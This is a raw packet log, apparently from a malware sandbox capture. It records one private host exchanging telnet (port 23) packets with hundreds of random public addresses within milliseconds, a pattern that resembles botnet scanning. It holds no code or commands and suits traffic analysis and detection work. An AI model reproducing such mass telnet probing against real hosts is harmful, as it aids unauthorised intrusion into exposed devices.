Jun 10, 2024 15:37:59.443996906 CEST	23	26049	184.35.133.214	192.168.2.13
Jun 10, 2024 15:37:59.444010973 CEST	23	26049	9.219.248.44	192.168.2.13
Jun 10, 2024 15:37:59.444021940 CEST	26049	23	192.168.2.13	140.55.190.93
Jun 10, 2024 15:37:59.444022894 CEST	23	26049	149.54.238.111	192.168.2.13
Jun 10, 2024 15:37:59.444036961 CEST	26049	23	192.168.2.13	62.169.120.133
Jun 10, 2024 15:37:59.444046021 CEST	26049	23	192.168.2.13	184.35.133.214
Jun 10, 2024 15:37:59.444048882 CEST	23	26049	149.18.80.227	192.168.2.13
Jun 10, 2024 15:37:59.444050074 CEST	26049	23	192.168.2.13	9.219.248.44
Jun 10, 2024 15:37:59.444050074 CEST	26049	23	192.168.2.13	149.54.238.111
Jun 10, 2024 15:37:59.444062948 CEST	23	26049	71.187.174.83	192.168.2.13
Jun 10, 2024 15:37:59.444075108 CEST	23	26049	4.114.197.37	192.168.2.13
Jun 10, 2024 15:37:59.444082975 CEST	26049	23	192.168.2.13	149.18.80.227
Jun 10, 2024 15:37:59.444087982 CEST	23	26049	201.96.142.144	192.168.2.13
Jun 10, 2024 15:37:59.444101095 CEST	23	26049	169.112.133.189	192.168.2.13
Jun 10, 2024 15:37:59.444106102 CEST	26049	23	192.168.2.13	4.114.197.37
Jun 10, 2024 15:37:59.444113016 CEST	23	26049	17.183.14.93	192.168.2.13
Jun 10, 2024 15:37:59.444125891 CEST	23	26049	44.91.43.186	192.168.2.13
Jun 10, 2024 15:37:59.444129944 CEST	26049	23	192.168.2.13	201.96.142.144
Jun 10, 2024 15:37:59.444129944 CEST	26049	23	192.168.2.13	169.112.133.189
Jun 10, 2024 15:37:59.444139004 CEST	23	26049	208.88.215.213	192.168.2.13
Jun 10, 2024 15:37:59.444139957 CEST	26049	23	192.168.2.13	17.183.14.93
Jun 10, 2024 15:37:59.444152117 CEST	23	26049	218.227.85.244	192.168.2.13
Jun 10, 2024 15:37:59.444155931 CEST	26049	23	192.168.2.13	44.91.43.186
Jun 10, 2024 15:37:59.444164038 CEST	23	26049	150.129.26.101	192.168.2.13
Jun 10, 2024 15:37:59.444168091 CEST	26049	23	192.168.2.13	208.88.215.213
Jun 10, 2024 15:37:59.444175959 CEST	23	26049	99.58.142.161	192.168.2.13
Jun 10, 2024 15:37:59.444184065 CEST	26049	23	192.168.2.13	218.227.85.244
Jun 10, 2024 15:37:59.444192886 CEST	26049	23	192.168.2.13	150.129.26.101
Jun 10, 2024 15:37:59.444201946 CEST	23	26049	220.107.217.61	192.168.2.13
Jun 10, 2024 15:37:59.444211960 CEST	26049	23	192.168.2.13	99.58.142.161
Jun 10, 2024 15:37:59.444214106 CEST	23	26049	9.234.80.229	192.168.2.13
Jun 10, 2024 15:37:59.444226027 CEST	23	26049	150.151.231.141	192.168.2.13
Jun 10, 2024 15:37:59.444236040 CEST	26049	23	192.168.2.13	220.107.217.61
Jun 10, 2024 15:37:59.444238901 CEST	23	26049	218.211.187.60	192.168.2.13
Jun 10, 2024 15:37:59.444245100 CEST	26049	23	192.168.2.13	9.234.80.229
Jun 10, 2024 15:37:59.444250107 CEST	26049	23	192.168.2.13	150.151.231.141
Jun 10, 2024 15:37:59.444251060 CEST	23	26049	191.59.84.209	192.168.2.13
Jun 10, 2024 15:37:59.444263935 CEST	23	26049	198.12.129.132	192.168.2.13
Jun 10, 2024 15:37:59.444263935 CEST	26049	23	192.168.2.13	218.211.187.60
Jun 10, 2024 15:37:59.444276094 CEST	23	26049	179.131.216.42	192.168.2.13
Jun 10, 2024 15:37:59.444281101 CEST	26049	23	192.168.2.13	191.59.84.209
Jun 10, 2024 15:37:59.444288969 CEST	23	26049	147.126.144.239	192.168.2.13
Jun 10, 2024 15:37:59.444300890 CEST	23	26049	183.197.219.105	192.168.2.13
Jun 10, 2024 15:37:59.444303036 CEST	26049	23	192.168.2.13	198.12.129.132
Jun 10, 2024 15:37:59.444308043 CEST	26049	23	192.168.2.13	179.131.216.42
Jun 10, 2024 15:37:59.444312096 CEST	23	26049	128.209.29.42	192.168.2.13
Jun 10, 2024 15:37:59.444324017 CEST	23	26049	199.207.225.89	192.168.2.13
Jun 10, 2024 15:37:59.444324017 CEST	26049	23	192.168.2.13	147.126.144.239
Jun 10, 2024 15:37:59.444324017 CEST	26049	23	192.168.2.13	71.187.174.83
Jun 10, 2024 15:37:59.444335938 CEST	23	26049	220.95.254.155	192.168.2.13
Jun 10, 2024 15:37:59.444345951 CEST	26049	23	192.168.2.13	183.197.219.105
Jun 10, 2024 15:37:59.444345951 CEST	26049	23	192.168.2.13	128.209.29.42
Jun 10, 2024 15:37:59.444349051 CEST	23	26049	58.234.244.229	192.168.2.13
Jun 10, 2024 15:37:59.444349051 CEST	26049	23	192.168.2.13	199.207.225.89
Jun 10, 2024 15:37:59.444360971 CEST	23	26049	139.188.40.170	192.168.2.13
Jun 10, 2024 15:37:59.444371939 CEST	26049	23	192.168.2.13	220.95.254.155
Jun 10, 2024 15:37:59.444372892 CEST	23	26049	41.5.144.11	192.168.2.13
Jun 10, 2024 15:37:59.444382906 CEST	26049	23	192.168.2.13	58.234.244.229
Jun 10, 2024 15:37:59.444386005 CEST	23	26049	138.118.199.33	192.168.2.13
Jun 10, 2024 15:37:59.444395065 CEST	26049	23	192.168.2.13	139.188.40.170
Jun 10, 2024 15:37:59.444397926 CEST	23	26049	138.59.51.82	192.168.2.13
Jun 10, 2024 15:37:59.444411039 CEST	23	26049	106.53.156.111	192.168.2.13
Jun 10, 2024 15:37:59.444411993 CEST	26049	23	192.168.2.13	41.5.144.11
Jun 10, 2024 15:37:59.444418907 CEST	26049	23	192.168.2.13	138.118.199.33
Jun 10, 2024 15:37:59.444422960 CEST	23	26049	181.235.238.145	192.168.2.13
Jun 10, 2024 15:37:59.444432020 CEST	26049	23	192.168.2.13	138.59.51.82
Jun 10, 2024 15:37:59.444509983 CEST	26049	23	192.168.2.13	106.53.156.111
Jun 10, 2024 15:37:59.444509983 CEST	26049	23	192.168.2.13	181.235.238.145
Jun 10, 2024 15:37:59.444678068 CEST	23	26049	137.226.112.129	192.168.2.13
Jun 10, 2024 15:37:59.444730997 CEST	23	26049	159.75.204.16	192.168.2.13
Jun 10, 2024 15:37:59.444744110 CEST	23	26049	219.214.247.106	192.168.2.13
Jun 10, 2024 15:37:59.444756031 CEST	23	26049	51.2.72.147	192.168.2.13
Jun 10, 2024 15:37:59.444756985 CEST	26049	23	192.168.2.13	137.226.112.129
Jun 10, 2024 15:37:59.444767952 CEST	23	26049	99.15.193.143	192.168.2.13
Jun 10, 2024 15:37:59.444771051 CEST	26049	23	192.168.2.13	159.75.204.16
Jun 10, 2024 15:37:59.444775105 CEST	26049	23	192.168.2.13	219.214.247.106
Jun 10, 2024 15:37:59.444781065 CEST	23	26049	1.57.214.60	192.168.2.13
Jun 10, 2024 15:37:59.444793940 CEST	23	26049	116.231.140.149	192.168.2.13
Jun 10, 2024 15:37:59.444796085 CEST	47256	23	192.168.2.13	125.212.207.230
Jun 10, 2024 15:37:59.444796085 CEST	26049	23	192.168.2.13	51.2.72.147
Jun 10, 2024 15:37:59.444798946 CEST	26049	23	192.168.2.13	99.15.193.143
Jun 10, 2024 15:37:59.444806099 CEST	23	26049	101.85.102.183	192.168.2.13
Jun 10, 2024 15:37:59.444814920 CEST	26049	23	192.168.2.13	1.57.214.60
Jun 10, 2024 15:37:59.444818020 CEST	23	26049	2.43.238.93	192.168.2.13
Jun 10, 2024 15:37:59.444830894 CEST	26049	23	192.168.2.13	116.231.140.149
Jun 10, 2024 15:37:59.444830894 CEST	23	26049	109.14.62.240	192.168.2.13
Jun 10, 2024 15:37:59.444830894 CEST	26049	23	192.168.2.13	101.85.102.183
Jun 10, 2024 15:37:59.444844007 CEST	23	26049	221.115.43.151	192.168.2.13
Jun 10, 2024 15:37:59.444855928 CEST	23	26049	100.154.130.132	192.168.2.13
Jun 10, 2024 15:37:59.444860935 CEST	26049	23	192.168.2.13	109.14.62.240
Jun 10, 2024 15:37:59.444868088 CEST	23	26049	206.190.246.108	192.168.2.13
Jun 10, 2024 15:37:59.444880009 CEST	23	26049	210.230.14.122	192.168.2.13
Jun 10, 2024 15:37:59.444889069 CEST	26049	23	192.168.2.13	100.154.130.132
Jun 10, 2024 15:37:59.444891930 CEST	23	26049	100.5.224.129	192.168.2.13
Jun 10, 2024 15:37:59.444902897 CEST	26049	23	192.168.2.13	206.190.246.108
Jun 10, 2024 15:37:59.444915056 CEST	23	26049	8.107.239.105	192.168.2.13
Jun 10, 2024 15:37:59.444926977 CEST	23	26049	195.104.143.246	192.168.2.13
Jun 10, 2024 15:37:59.444928885 CEST	26049	23	192.168.2.13	100.5.224.129
Jun 10, 2024 15:37:59.444930077 CEST	26049	23	192.168.2.13	210.230.14.122
Jun 10, 2024 15:37:59.444931030 CEST	26049	23	192.168.2.13	2.43.238.93
Jun 10, 2024 15:37:59.444937944 CEST	26049	23	192.168.2.13	221.115.43.151
Jun 10, 2024 15:37:59.444941044 CEST	23	26049	206.46.198.196	192.168.2.13
Jun 10, 2024 15:37:59.444953918 CEST	23	26049	35.243.53.139	192.168.2.13
Jun 10, 2024 15:37:59.444961071 CEST	26049	23	192.168.2.13	195.104.143.246
Jun 10, 2024 15:37:59.444962025 CEST	26049	23	192.168.2.13	8.107.239.105
Jun 10, 2024 15:37:59.444966078 CEST	23	26049	64.147.84.154	192.168.2.13
Jun 10, 2024 15:37:59.444978952 CEST	23	26049	183.201.46.131	192.168.2.13
Jun 10, 2024 15:37:59.444989920 CEST	23	26049	174.66.54.113	192.168.2.13
Jun 10, 2024 15:37:59.444989920 CEST	26049	23	192.168.2.13	35.243.53.139
Jun 10, 2024 15:37:59.444998026 CEST	26049	23	192.168.2.13	64.147.84.154
Jun 10, 2024 15:37:59.445000887 CEST	23	26049	59.136.187.89	192.168.2.13
Jun 10, 2024 15:37:59.445007086 CEST	26049	23	192.168.2.13	183.201.46.131
Jun 10, 2024 15:37:59.445014000 CEST	23	26049	182.13.54.141	192.168.2.13
Jun 10, 2024 15:37:59.445023060 CEST	26049	23	192.168.2.13	206.46.198.196
Jun 10, 2024 15:37:59.445023060 CEST	26049	23	192.168.2.13	174.66.54.113
Jun 10, 2024 15:37:59.445025921 CEST	23	26049	77.127.19.39	192.168.2.13
Jun 10, 2024 15:37:59.445031881 CEST	26049	23	192.168.2.13	59.136.187.89
Jun 10, 2024 15:37:59.445039034 CEST	23	26049	108.124.249.252	192.168.2.13
Jun 10, 2024 15:37:59.445050001 CEST	26049	23	192.168.2.13	182.13.54.141
Jun 10, 2024 15:37:59.445050955 CEST	23	26049	121.90.150.62	192.168.2.13
Jun 10, 2024 15:37:59.445063114 CEST	23	26049	139.173.219.125	192.168.2.13
Jun 10, 2024 15:37:59.445071936 CEST	26049	23	192.168.2.13	77.127.19.39
Jun 10, 2024 15:37:59.445075035 CEST	23	26049	198.243.211.185	192.168.2.13
Jun 10, 2024 15:37:59.445075989 CEST	26049	23	192.168.2.13	108.124.249.252
Jun 10, 2024 15:37:59.445086956 CEST	23	26049	116.0.108.34	192.168.2.13
Jun 10, 2024 15:37:59.445091963 CEST	26049	23	192.168.2.13	121.90.150.62
Jun 10, 2024 15:37:59.445097923 CEST	26049	23	192.168.2.13	139.173.219.125
Jun 10, 2024 15:37:59.445099115 CEST	23	26049	95.70.86.88	192.168.2.13
Jun 10, 2024 15:37:59.445111990 CEST	23	26049	58.229.6.162	192.168.2.13
Jun 10, 2024 15:37:59.445117950 CEST	26049	23	192.168.2.13	116.0.108.34
Jun 10, 2024 15:37:59.445117950 CEST	26049	23	192.168.2.13	198.243.211.185
Jun 10, 2024 15:37:59.445125103 CEST	23	26049	2.21.127.148	192.168.2.13
Jun 10, 2024 15:37:59.445128918 CEST	26049	23	192.168.2.13	95.70.86.88
Jun 10, 2024 15:37:59.445137978 CEST	23	26049	202.102.198.77	192.168.2.13
Jun 10, 2024 15:37:59.445151091 CEST	23	26049	172.234.224.184	192.168.2.13
Jun 10, 2024 15:37:59.445152998 CEST	26049	23	192.168.2.13	58.229.6.162
Jun 10, 2024 15:37:59.445163012 CEST	26049	23	192.168.2.13	2.21.127.148
Jun 10, 2024 15:37:59.445166111 CEST	26049	23	192.168.2.13	202.102.198.77
Jun 10, 2024 15:37:59.445183039 CEST	26049	23	192.168.2.13	172.234.224.184
Jun 10, 2024 15:37:59.448607922 CEST	23	26049	109.170.232.8	192.168.2.13
Jun 10, 2024 15:37:59.448622942 CEST	23	26049	130.207.108.163	192.168.2.13
Jun 10, 2024 15:37:59.448635101 CEST	23	26049	186.74.212.17	192.168.2.13
Jun 10, 2024 15:37:59.448640108 CEST	26049	23	192.168.2.13	109.170.232.8
Jun 10, 2024 15:37:59.448647022 CEST	23	26049	61.28.255.239	192.168.2.13
Jun 10, 2024 15:37:59.448658943 CEST	26049	23	192.168.2.13	130.207.108.163
Jun 10, 2024 15:37:59.448659897 CEST	23	26049	36.174.33.231	192.168.2.13
Jun 10, 2024 15:37:59.448668003 CEST	26049	23	192.168.2.13	186.74.212.17
Jun 10, 2024 15:37:59.448673010 CEST	23	26049	170.46.207.140	192.168.2.13
Jun 10, 2024 15:37:59.448684931 CEST	26049	23	192.168.2.13	61.28.255.239
Jun 10, 2024 15:37:59.448684931 CEST	23	26049	45.137.83.175	192.168.2.13
Jun 10, 2024 15:37:59.448692083 CEST	26049	23	192.168.2.13	36.174.33.231
Jun 10, 2024 15:37:59.448698044 CEST	23	26049	205.76.249.203	192.168.2.13
Jun 10, 2024 15:37:59.448708057 CEST	26049	23	192.168.2.13	170.46.207.140
Jun 10, 2024 15:37:59.448721886 CEST	23	26049	87.41.207.247	192.168.2.13
Jun 10, 2024 15:37:59.448725939 CEST	26049	23	192.168.2.13	45.137.83.175
Jun 10, 2024 15:37:59.448730946 CEST	26049	23	192.168.2.13	205.76.249.203
Jun 10, 2024 15:37:59.448735952 CEST	23	26049	120.43.244.61	192.168.2.13
Jun 10, 2024 15:37:59.448749065 CEST	23	26049	201.139.236.118	192.168.2.13
Jun 10, 2024 15:37:59.448760986 CEST	23	26049	216.156.80.100	192.168.2.13
Jun 10, 2024 15:37:59.448765039 CEST	26049	23	192.168.2.13	87.41.207.247
Jun 10, 2024 15:37:59.448771954 CEST	23	26049	192.182.250.248	192.168.2.13
Jun 10, 2024 15:37:59.448771954 CEST	26049	23	192.168.2.13	201.139.236.118
Jun 10, 2024 15:37:59.448772907 CEST	26049	23	192.168.2.13	120.43.244.61
Jun 10, 2024 15:37:59.448784113 CEST	23	26049	112.39.177.175	192.168.2.13
Jun 10, 2024 15:37:59.448797941 CEST	26049	23	192.168.2.13	216.156.80.100
Jun 10, 2024 15:37:59.448797941 CEST	23	26049	181.58.225.74	192.168.2.13
Jun 10, 2024 15:37:59.448801994 CEST	26049	23	192.168.2.13	192.182.250.248
Jun 10, 2024 15:37:59.448812008 CEST	23	26049	195.134.98.190	192.168.2.13
Jun 10, 2024 15:37:59.448818922 CEST	26049	23	192.168.2.13	112.39.177.175
Jun 10, 2024 15:37:59.448823929 CEST	23	26049	147.208.203.129	192.168.2.13
Jun 10, 2024 15:37:59.448826075 CEST	26049	23	192.168.2.13	181.58.225.74
Jun 10, 2024 15:37:59.448836088 CEST	23	26049	203.128.65.133	192.168.2.13
Jun 10, 2024 15:37:59.448848009 CEST	23	26049	118.76.206.215	192.168.2.13
Jun 10, 2024 15:37:59.448851109 CEST	26049	23	192.168.2.13	195.134.98.190
Jun 10, 2024 15:37:59.448853970 CEST	26049	23	192.168.2.13	147.208.203.129
Jun 10, 2024 15:37:59.448859930 CEST	23	26049	8.99.202.24	192.168.2.13
Jun 10, 2024 15:37:59.448870897 CEST	26049	23	192.168.2.13	203.128.65.133
Jun 10, 2024 15:37:59.448872089 CEST	23	26049	31.16.56.157	192.168.2.13
Jun 10, 2024 15:37:59.448882103 CEST	26049	23	192.168.2.13	118.76.206.215
Jun 10, 2024 15:37:59.448885918 CEST	23	26049	211.127.173.96	192.168.2.13
Jun 10, 2024 15:37:59.448894978 CEST	26049	23	192.168.2.13	8.99.202.24
Jun 10, 2024 15:37:59.448898077 CEST	23	26049	185.246.27.237	192.168.2.13
Jun 10, 2024 15:37:59.448904991 CEST	26049	23	192.168.2.13	31.16.56.157
Jun 10, 2024 15:37:59.448911905 CEST	23	26049	136.186.122.243	192.168.2.13
Jun 10, 2024 15:37:59.448915005 CEST	26049	23	192.168.2.13	211.127.173.96
Jun 10, 2024 15:37:59.448925018 CEST	23	26049	88.5.183.67	192.168.2.13
Jun 10, 2024 15:37:59.448932886 CEST	26049	23	192.168.2.13	185.246.27.237
Jun 10, 2024 15:37:59.448936939 CEST	23	26049	129.76.173.177	192.168.2.13
Jun 10, 2024 15:37:59.448950052 CEST	23	26049	177.120.211.215	192.168.2.13
Jun 10, 2024 15:37:59.448955059 CEST	26049	23	192.168.2.13	136.186.122.243
Jun 10, 2024 15:37:59.448959112 CEST	26049	23	192.168.2.13	88.5.183.67
Jun 10, 2024 15:37:59.448961020 CEST	23	26049	19.10.154.137	192.168.2.13
Jun 10, 2024 15:37:59.448970079 CEST	26049	23	192.168.2.13	129.76.173.177
Jun 10, 2024 15:37:59.448987007 CEST	26049	23	192.168.2.13	177.120.211.215
Jun 10, 2024 15:37:59.448987961 CEST	26049	23	192.168.2.13	19.10.154.137
Jun 10, 2024 15:37:59.449018955 CEST	23	26049	154.80.1.254	192.168.2.13
Jun 10, 2024 15:37:59.449049950 CEST	26049	23	192.168.2.13	154.80.1.254
Jun 10, 2024 15:37:59.449053049 CEST	36598	23	192.168.2.13	135.237.201.13
Jun 10, 2024 15:37:59.449096918 CEST	23	26049	62.88.9.228	192.168.2.13
Jun 10, 2024 15:37:59.449110031 CEST	23	26049	61.200.78.82	192.168.2.13
Jun 10, 2024 15:37:59.449121952 CEST	23	26049	196.206.75.218	192.168.2.13
Jun 10, 2024 15:37:59.449131966 CEST	26049	23	192.168.2.13	62.88.9.228
Jun 10, 2024 15:37:59.449134111 CEST	23	26049	37.225.17.8	192.168.2.13
Jun 10, 2024 15:37:59.449139118 CEST	26049	23	192.168.2.13	61.200.78.82
Jun 10, 2024 15:37:59.449146032 CEST	23	26049	107.186.230.159	192.168.2.13
Jun 10, 2024 15:37:59.449157000 CEST	26049	23	192.168.2.13	196.206.75.218
Jun 10, 2024 15:37:59.449157953 CEST	23	26049	121.141.218.253	192.168.2.13
Jun 10, 2024 15:37:59.449170113 CEST	23	26049	145.235.143.148	192.168.2.13
Jun 10, 2024 15:37:59.449181080 CEST	23	26049	157.36.4.156	192.168.2.13
Jun 10, 2024 15:37:59.449192047 CEST	23	26049	115.152.19.188	192.168.2.13
Jun 10, 2024 15:37:59.449198008 CEST	26049	23	192.168.2.13	145.235.143.148
Jun 10, 2024 15:37:59.449203968 CEST	23	26049	119.60.13.139	192.168.2.13
Jun 10, 2024 15:37:59.449208021 CEST	26049	23	192.168.2.13	157.36.4.156
Jun 10, 2024 15:37:59.449215889 CEST	23	26049	119.10.4.220	192.168.2.13
Jun 10, 2024 15:37:59.449223995 CEST	26049	23	192.168.2.13	115.152.19.188
Jun 10, 2024 15:37:59.449227095 CEST	23	26049	49.74.52.87	192.168.2.13
Jun 10, 2024 15:37:59.449234009 CEST	26049	23	192.168.2.13	119.60.13.139
Jun 10, 2024 15:37:59.449239016 CEST	23	26049	4.159.146.189	192.168.2.13
Jun 10, 2024 15:37:59.449240923 CEST	26049	23	192.168.2.13	119.10.4.220
Jun 10, 2024 15:37:59.449250937 CEST	23	26049	176.255.195.238	192.168.2.13
Jun 10, 2024 15:37:59.449258089 CEST	26049	23	192.168.2.13	49.74.52.87
Jun 10, 2024 15:37:59.449263096 CEST	23	26049	103.224.234.197	192.168.2.13
Jun 10, 2024 15:37:59.449275017 CEST	23	26049	66.240.233.7	192.168.2.13
Jun 10, 2024 15:37:59.449280977 CEST	26049	23	192.168.2.13	176.255.195.238
Jun 10, 2024 15:37:59.449286938 CEST	23	26049	100.182.49.195	192.168.2.13
Jun 10, 2024 15:37:59.449297905 CEST	26049	23	192.168.2.13	103.224.234.197
Jun 10, 2024 15:37:59.449299097 CEST	23	26049	4.182.72.186	192.168.2.13
Jun 10, 2024 15:37:59.449311018 CEST	26049	23	192.168.2.13	66.240.233.7
Jun 10, 2024 15:37:59.449312925 CEST	23	26049	19.218.233.238	192.168.2.13
Jun 10, 2024 15:37:59.449317932 CEST	26049	23	192.168.2.13	100.182.49.195
Jun 10, 2024 15:37:59.449325085 CEST	26049	23	192.168.2.13	37.225.17.8
Jun 10, 2024 15:37:59.449325085 CEST	26049	23	192.168.2.13	107.186.230.159
Jun 10, 2024 15:37:59.449325085 CEST	23	26049	196.238.124.165	192.168.2.13
Jun 10, 2024 15:37:59.449325085 CEST	26049	23	192.168.2.13	121.141.218.253
Jun 10, 2024 15:37:59.449325085 CEST	26049	23	192.168.2.13	4.159.146.189
Jun 10, 2024 15:37:59.449333906 CEST	26049	23	192.168.2.13	4.182.72.186
Jun 10, 2024 15:37:59.449338913 CEST	23	26049	77.132.153.139	192.168.2.13
Jun 10, 2024 15:37:59.449341059 CEST	26049	23	192.168.2.13	19.218.233.238
Jun 10, 2024 15:37:59.449351072 CEST	23	26049	201.48.116.79	192.168.2.13
Jun 10, 2024 15:37:59.449364901 CEST	26049	23	192.168.2.13	196.238.124.165
Jun 10, 2024 15:37:59.449373007 CEST	23	26049	145.171.119.36	192.168.2.13
Jun 10, 2024 15:37:59.449381113 CEST	26049	23	192.168.2.13	201.48.116.79
Jun 10, 2024 15:37:59.449385881 CEST	23	26049	83.128.145.133	192.168.2.13
Jun 10, 2024 15:37:59.449395895 CEST	26049	23	192.168.2.13	77.132.153.139
Jun 10, 2024 15:37:59.449398041 CEST	23	26049	222.126.22.32	192.168.2.13
Jun 10, 2024 15:37:59.449410915 CEST	23	26049	122.132.160.225	192.168.2.13
Jun 10, 2024 15:37:59.449413061 CEST	26049	23	192.168.2.13	145.171.119.36
Jun 10, 2024 15:37:59.449413061 CEST	26049	23	192.168.2.13	83.128.145.133
Jun 10, 2024 15:37:59.449423075 CEST	23	26049	42.205.100.143	192.168.2.13
Jun 10, 2024 15:37:59.449433088 CEST	26049	23	192.168.2.13	122.132.160.225
Jun 10, 2024 15:37:59.449434996 CEST	26049	23	192.168.2.13	222.126.22.32
Jun 10, 2024 15:37:59.449461937 CEST	26049	23	192.168.2.13	42.205.100.143
Jun 10, 2024 15:37:59.449520111 CEST	23	26049	84.66.79.39	192.168.2.13
Jun 10, 2024 15:37:59.449533939 CEST	23	26049	78.230.31.182	192.168.2.13
Jun 10, 2024 15:37:59.449546099 CEST	23	26049	159.85.92.103	192.168.2.13
Jun 10, 2024 15:37:59.449558020 CEST	23	26049	77.31.214.220	192.168.2.13
Jun 10, 2024 15:37:59.449558973 CEST	26049	23	192.168.2.13	84.66.79.39
Jun 10, 2024 15:37:59.449568987 CEST	26049	23	192.168.2.13	78.230.31.182
Jun 10, 2024 15:37:59.449573040 CEST	23	26049	95.62.117.226	192.168.2.13
Jun 10, 2024 15:37:59.449584961 CEST	26049	23	192.168.2.13	159.85.92.103
Jun 10, 2024 15:37:59.449593067 CEST	23	26049	109.54.68.243	192.168.2.13
Jun 10, 2024 15:37:59.449596882 CEST	26049	23	192.168.2.13	77.31.214.220
Jun 10, 2024 15:37:59.449611902 CEST	26049	23	192.168.2.13	95.62.117.226
Jun 10, 2024 15:37:59.449616909 CEST	23	26049	218.103.6.161	192.168.2.13
Jun 10, 2024 15:37:59.449630022 CEST	23	26049	5.98.167.251	192.168.2.13
Jun 10, 2024 15:37:59.449640989 CEST	23	26049	206.235.207.149	192.168.2.13
Jun 10, 2024 15:37:59.449652910 CEST	23	26049	136.113.150.188	192.168.2.13
Jun 10, 2024 15:37:59.449664116 CEST	23	26049	138.12.220.60	192.168.2.13
Jun 10, 2024 15:37:59.449665070 CEST	26049	23	192.168.2.13	5.98.167.251
Jun 10, 2024 15:37:59.449666977 CEST	26049	23	192.168.2.13	206.235.207.149
Jun 10, 2024 15:37:59.449675083 CEST	23	26049	53.174.144.27	192.168.2.13
Jun 10, 2024 15:37:59.449695110 CEST	26049	23	192.168.2.13	138.12.220.60
Jun 10, 2024 15:37:59.449698925 CEST	23	26049	112.86.179.168	192.168.2.13
Jun 10, 2024 15:37:59.449700117 CEST	26049	23	192.168.2.13	53.174.144.27
Jun 10, 2024 15:37:59.449712038 CEST	23	26049	204.11.93.224	192.168.2.13
Jun 10, 2024 15:37:59.449723959 CEST	23	26049	181.125.38.236	192.168.2.13
Jun 10, 2024 15:37:59.449736118 CEST	23	26049	202.15.110.14	192.168.2.13
Jun 10, 2024 15:37:59.449739933 CEST	26049	23	192.168.2.13	112.86.179.168
Jun 10, 2024 15:37:59.449742079 CEST	26049	23	192.168.2.13	204.11.93.224
Jun 10, 2024 15:37:59.449748993 CEST	23	26049	85.169.215.72	192.168.2.13
Jun 10, 2024 15:37:59.449755907 CEST	26049	23	192.168.2.13	181.125.38.236
Jun 10, 2024 15:37:59.449762106 CEST	23	26049	34.137.66.67	192.168.2.13
Jun 10, 2024 15:37:59.449767113 CEST	26049	23	192.168.2.13	109.54.68.243
Jun 10, 2024 15:37:59.449767113 CEST	26049	23	192.168.2.13	202.15.110.14
Jun 10, 2024 15:37:59.449774981 CEST	23	26049	204.163.130.41	192.168.2.13
Jun 10, 2024 15:37:59.449776888 CEST	26049	23	192.168.2.13	218.103.6.161
Jun 10, 2024 15:37:59.449776888 CEST	26049	23	192.168.2.13	136.113.150.188
Jun 10, 2024 15:37:59.449781895 CEST	26049	23	192.168.2.13	85.169.215.72
Jun 10, 2024 15:37:59.449788094 CEST	23	26049	109.176.177.5	192.168.2.13
Jun 10, 2024 15:37:59.449795008 CEST	26049	23	192.168.2.13	34.137.66.67
Jun 10, 2024 15:37:59.449800968 CEST	26049	23	192.168.2.13	204.163.130.41
Jun 10, 2024 15:37:59.449801922 CEST	23	26049	62.131.224.2	192.168.2.13
Jun 10, 2024 15:37:59.449815989 CEST	23	26049	208.79.213.163	192.168.2.13
Jun 10, 2024 15:37:59.449819088 CEST	26049	23	192.168.2.13	109.176.177.5
Jun 10, 2024 15:37:59.449829102 CEST	23	26049	168.61.194.56	192.168.2.13
Jun 10, 2024 15:37:59.449840069 CEST	26049	23	192.168.2.13	62.131.224.2
Jun 10, 2024 15:37:59.449846983 CEST	26049	23	192.168.2.13	208.79.213.163
Jun 10, 2024 15:37:59.449848890 CEST	23	26049	118.27.108.41	192.168.2.13
Jun 10, 2024 15:37:59.449861050 CEST	23	26049	42.211.158.211	192.168.2.13
Jun 10, 2024 15:37:59.449873924 CEST	23	26049	54.57.223.122	192.168.2.13
Jun 10, 2024 15:37:59.449877024 CEST	26049	23	192.168.2.13	168.61.194.56
Jun 10, 2024 15:37:59.449878931 CEST	26049	23	192.168.2.13	118.27.108.41
Jun 10, 2024 15:37:59.449888945 CEST	23	26049	71.11.29.50	192.168.2.13
Jun 10, 2024 15:37:59.449897051 CEST	26049	23	192.168.2.13	42.211.158.211
Jun 10, 2024 15:37:59.449903011 CEST	26049	23	192.168.2.13	54.57.223.122
Jun 10, 2024 15:37:59.449903965 CEST	23	26049	121.243.165.40	192.168.2.13
Jun 10, 2024 15:37:59.449940920 CEST	26049	23	192.168.2.13	121.243.165.40
Jun 10, 2024 15:37:59.449980974 CEST	26049	23	192.168.2.13	71.11.29.50
Jun 10, 2024 15:37:59.450077057 CEST	23	26049	182.8.132.25	192.168.2.13
Jun 10, 2024 15:37:59.450090885 CEST	23	26049	63.198.68.160	192.168.2.13
Jun 10, 2024 15:37:59.450103045 CEST	23	26049	31.42.243.94	192.168.2.13
Jun 10, 2024 15:37:59.450114965 CEST	26049	23	192.168.2.13	182.8.132.25
Jun 10, 2024 15:37:59.450120926 CEST	26049	23	192.168.2.13	63.198.68.160
Jun 10, 2024 15:37:59.450126886 CEST	26049	23	192.168.2.13	31.42.243.94
Jun 10, 2024 15:37:59.450131893 CEST	23	26049	194.235.254.184	192.168.2.13
Jun 10, 2024 15:37:59.450144053 CEST	23	26049	83.255.51.32	192.168.2.13
Jun 10, 2024 15:37:59.450155973 CEST	23	26049	80.58.11.204	192.168.2.13
Jun 10, 2024 15:37:59.450167894 CEST	23	26049	179.207.227.41	192.168.2.13
Jun 10, 2024 15:37:59.450167894 CEST	26049	23	192.168.2.13	194.235.254.184
Jun 10, 2024 15:37:59.450179100 CEST	26049	23	192.168.2.13	83.255.51.32
Jun 10, 2024 15:37:59.450180054 CEST	23	26049	111.222.90.37	192.168.2.13
Jun 10, 2024 15:37:59.450182915 CEST	26049	23	192.168.2.13	80.58.11.204
Jun 10, 2024 15:37:59.450192928 CEST	26049	23	192.168.2.13	179.207.227.41
Jun 10, 2024 15:37:59.450193882 CEST	23	26049	222.62.97.12	192.168.2.13
Jun 10, 2024 15:37:59.450206995 CEST	23	26049	179.228.188.17	192.168.2.13
Jun 10, 2024 15:37:59.450208902 CEST	26049	23	192.168.2.13	111.222.90.37
Jun 10, 2024 15:37:59.450218916 CEST	23	26049	115.94.32.50	192.168.2.13
Jun 10, 2024 15:37:59.450225115 CEST	26049	23	192.168.2.13	222.62.97.12
Jun 10, 2024 15:37:59.450232029 CEST	23	26049	35.239.249.165	192.168.2.13
Jun 10, 2024 15:37:59.450232029 CEST	26049	23	192.168.2.13	179.228.188.17
Jun 10, 2024 15:37:59.450244904 CEST	23	26049	54.71.67.88	192.168.2.13
Jun 10, 2024 15:37:59.450257063 CEST	23	26049	70.141.196.112	192.168.2.13
Jun 10, 2024 15:37:59.450262070 CEST	26049	23	192.168.2.13	35.239.249.165
